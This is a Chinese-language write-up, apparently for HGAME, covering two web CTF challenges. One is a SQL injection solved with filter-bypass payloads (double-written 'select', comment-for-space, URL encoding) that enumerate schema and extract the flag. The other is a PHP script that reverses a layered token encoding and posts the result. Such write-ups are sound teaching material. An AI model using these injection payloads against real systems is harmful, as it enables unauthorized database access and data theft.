Cosmos的留言板
web的一道sql注入题,这名字起得还以为是xss
首先fuzz发现过滤了一次select,空格过滤了
select可以双写绕过,空格用注释绕过,还有要进行url编码
- 查数据库名
1 2
| >>> urllib.parse.quote('\'/*1*/union/*1*/select/*1*/database();#') '%27/%2A1%2A/union/%2A1%2A/select/%2A1%2A/database%28%29%3B%23'
|
- 查表
1 2
| >>> urllib.parse.quote('-1\'/**/union/**/seselectlect/**/group_concat(TABLE_NAME)/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA="easysql";#') '-1%27/%2A%2A/union/%2A%2A/seselectlect/%2A%2A/group_concat%28TABLE_NAME%29/%2A%2A/from/%2A%2A/information_schema.TABLES/%2A%2A/where/%2A%2A/TABLE_SCHEMA%3D%22easysql%22%3B%23'
|

- 查列
1 2 3
| >>> urllib.parse.quote('-1\'/**/union/**/seselectlect/**/group_concat(COLUMN_NAME)/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_SCHEMA="easysql";#') '-1%27/%2A%2A/union/%2A%2A/seselectlect/%2A%2A/group_concat%28COLUMN_NAME%29/%2A%2A/from/%2A%2A/information_schema.COLUMNS/%2A%2A/where/%2A%2A/TABLE_SCHEMA%3D%22easysql%22%3B%23'
|

- flag
1 2
| >>> urllib.parse.quote('-1\'/**/union/**/seselectlect/**/fl4444444g/**/from/**/f1aggggggggggggg;#') '-1%27/%2A%2A/union/%2A%2A/seselectlect/%2A%2A/fl4444444g/%2A%2A/from/%2A%2A/f1aggggggggggggg%3B%23'
|

Cosmos的新语言

这些不是base64编码,看上面代码尝试访问mycode文件看到一段代码
1 2 3 4 5 6 7 8 9 10 11 12 13
| function encrypt($str){ $result = ''; for($i = 0; $i < strlen($str); $i++){ $result .= chr(ord($str[$i]) + 1); } return $result; }
echo(strrev(base64_encode(base64_encode(strrev(encrypt(str_rot13(str_rot13(str_rot13(base64_encode(strrev($_SERVER['token'])))))))))));
if(@$_POST['token'] === $_SERVER['token']){ echo($_SERVER['flag']); }
|
这段代码就是加密代码了,但是这里有个坑。。 就是加密代码会变!。。。


解题脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| <?php
function send_post($url, $post_data) { $postdata = http_build_query($post_data); $options = array( 'http' => array( 'method' => 'POST', 'header' => 'Content-type:application/x-www-form-urlencoded', 'content' => $postdata, 'timeout' => 15 * 60 ) );
$context = stream_context_create($options); $result = file_get_contents($url, false, $context); return $result; }
function decrypt1($str){ $deresult = ''; for($i = 0; $i < strlen($str); $i++){ $deresult .= chr(ord($str[$i]) - 1); } return $deresult; }
function getHTML($url){ $token=file_get_contents($url); $token=explode("\n", $token); $token=substr($token[4], 0, -4); $token=html_entity_decode($token); return $token; }
function Decrypt($url){ $token=getHTML($url); $op_function=file_get_contents($url . '/mycode'); $op_function=explode("\n", $op_function)[8]; $op_function=explode('(', $op_function); $op_function=array_slice($op_function, 1, 10); foreach($op_function as $value){ switch($value){ case 'base64_encode': $token=base64_decode($token); break; case 'str_rot13': $token=str_rot13($token); break; case 'encrypt': $token=decrypt1($token); break; case 'strrev': $token=strrev($token); break; } } return $token; }
$url="http://6a72f6c03d.php.hgame.n3ko.co"; $payload=Decrypt($url);
$post_data = array( 'token' => $payload );
echo(send_post($url, $post_data));
?>
|